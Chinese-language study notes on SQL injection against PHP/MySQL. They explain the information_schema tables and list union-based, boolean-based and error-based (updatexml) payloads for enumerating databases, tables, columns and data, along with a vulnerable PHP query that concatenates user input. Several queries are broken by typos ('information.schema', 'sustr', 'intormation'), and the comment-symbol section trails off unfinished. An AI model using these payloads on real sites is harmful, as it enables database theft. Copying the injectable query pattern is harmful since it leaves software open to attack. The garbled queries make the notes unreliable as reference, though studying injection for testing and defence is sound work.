1.SQL注入介绍
SQL注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作
以php语句为例:
$query =“select * from users where id = $_GET[id];
2.SQL注入原理
SQL注入漏洞的产生需要满足一下两个条件。
1.参数用户可控:前端传给后端的参数内容是用户可以控制的
2.参数代入数据库查询:传入的参数拼接到SQL语句,并且带入数据库查询
3.MySI与SQL注入漏洞相关的知识点
在MySQL5.0版本之后,MySQL默认在数据库中存放一个 information.schema 的数据库在该库中,我们需要记住三个表名,分别是schemata,tables, columnSo
- Schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库库名的字段名为schema_name
- Tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段名分别为table_schematable_name
- Columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库
名、表名、字段名的字段名为table_schema table_name columns_name
4.MySQL查询语句
1.在不知道任何条件时,语句如下所示
Select(要查询的字段名)from(库名.表名)
2.在知道一条已知条件时,语句如下所示:
sql Select(要查询的字段名)from(库名.表名)where (已知条件的字段名=已知条件的值)
3.在知道两条已知条件时,语句如下所示:
Select(要查询的字段名)from(库名.表名)where (已知条件1的字段名=已知条件1的值)and(已知条件2的字段名=已知条件2的值)
Limit的用法
- Limit的使用格式是imit.,其中m指的是记录开始的位置,从m=0,表示第一条记录;n是指取n条记录
·例如:select *from users limit 0,1;
需要记住的几个函数
Database():当前网站使用的数据库
Version():当前mysql的版本
User():当前mysql的用户
注释符
三种注释符号\
5.在数据库中测试union注入攻击语句
id = 1
id = 1
id = 1 and 1 = 1
id = 1 and 1 = 2
id = 1 order by 6
id = 1 order by 7
id = 1 union select 1,2,3,4,5,6
id = 1 union select 1,2,database(),4,5,6
Select table_name from information.schema.tables where table_schema = database() limit 0,1
Select column.name from intormation.schema.columns where table_schema = database() and table_name email limit 0,1
Select username from test.users limit 0,1
6.Boolean注入攻击语句
判断数据库库名长度: and length(database())>=1
判断数据库库名: and sustr(database(),1,1)= ‘t’
判断表名:and substr((select table_name from information_schema.tables where tables_chema =‘database()’ limit 0,1),1,1)= ‘u’
判断字段名:and substr((select column_name from information_schema.columns where table_schema = ‘database’ and table_name = 表名 limit 0,1),1,1)= ‘i’
判断数据:and substr((select 列名 from database().表名 limit 0,1),1,1)= ‘z’
7. 报错注入
Updatexmlo函数:
UpdateXml(xml,target,xpath,expr,new,xml)
xml_tarqet: 需要操作的 xml 片段
xpath_expr 需要更新的xml路径(Xpath格式)
new_Xml: 更新后的内容
数据库中演示:
select updatexml(1,concat(0x7e,(select database()),0x7e),0)